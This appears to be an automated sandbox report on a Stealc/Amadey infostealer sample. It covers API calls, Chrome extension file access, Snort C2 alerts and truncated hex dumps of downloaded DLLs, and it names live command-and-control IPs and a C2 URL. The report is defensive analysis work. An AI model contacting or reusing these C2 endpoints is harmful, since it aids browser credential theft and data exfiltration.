Code function: 0_2_6C7A6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C7A6C80

Source: Rnteb46TuM.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source:	Binary string: mozglue.pdbP source: Rnteb46TuM.exe, 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: Rnteb46TuM.exe, 00000000.00000002.2331455452.000000006C9CF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: Rnteb46TuM.exe, 00000000.00000002.2331455452.000000006C9CF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: Rnteb46TuM.exe, 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2044243 ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in 192.168.2.6:49711 -> 85.28.47.4:80
Source: Traffic	Snort IDS: 2044244 ET TROJAN Win32/Stealc Requesting browsers Config from C2 192.168.2.6:49711 -> 85.28.47.4:80
Source: Traffic	Snort IDS: 2051828 ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1 85.28.47.4:80 -> 192.168.2.6:49711
Source: Traffic	Snort IDS: 2044246 ET TROJAN Win32/Stealc Requesting plugins Config from C2 192.168.2.6:49711 -> 85.28.47.4:80
Source: Traffic	Snort IDS: 2051831 ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 85.28.47.4:80 -> 192.168.2.6:49711
Source: Traffic	Snort IDS: 2856147 ETPRO TROJAN Amadey CnC Activity M3 192.168.2.6:49725 -> 77.91.77.82:80
Source: Traffic	Snort IDS: 2856122 ETPRO TROJAN Amadey CnC Response M1 77.91.77.82:80 -> 192.168.2.6:49725
Source: Traffic	Snort IDS: 2044696 ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M2 192.168.2.6:49728 -> 77.91.77.82:80
Source: Traffic	Snort IDS: 2044243 ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in 192.168.2.6:49729 -> 85.28.47.4:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://85.28.47.4/920475a59bac849d.php
Source: Malware configuration extractor	URLs: http://85.28.47.4/920475a59bac849d.php
Source: Malware configuration extractor	IPs: 77.91.77.82

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 01 Jul 2024 05:20:36 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 01 Jul 2024 05:20:41 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 01 Jul 2024 05:20:42 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 01 Jul 2024 05:20:43 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 01 Jul 2024 05:20:44 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 01 Jul 2024 05:20:45 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 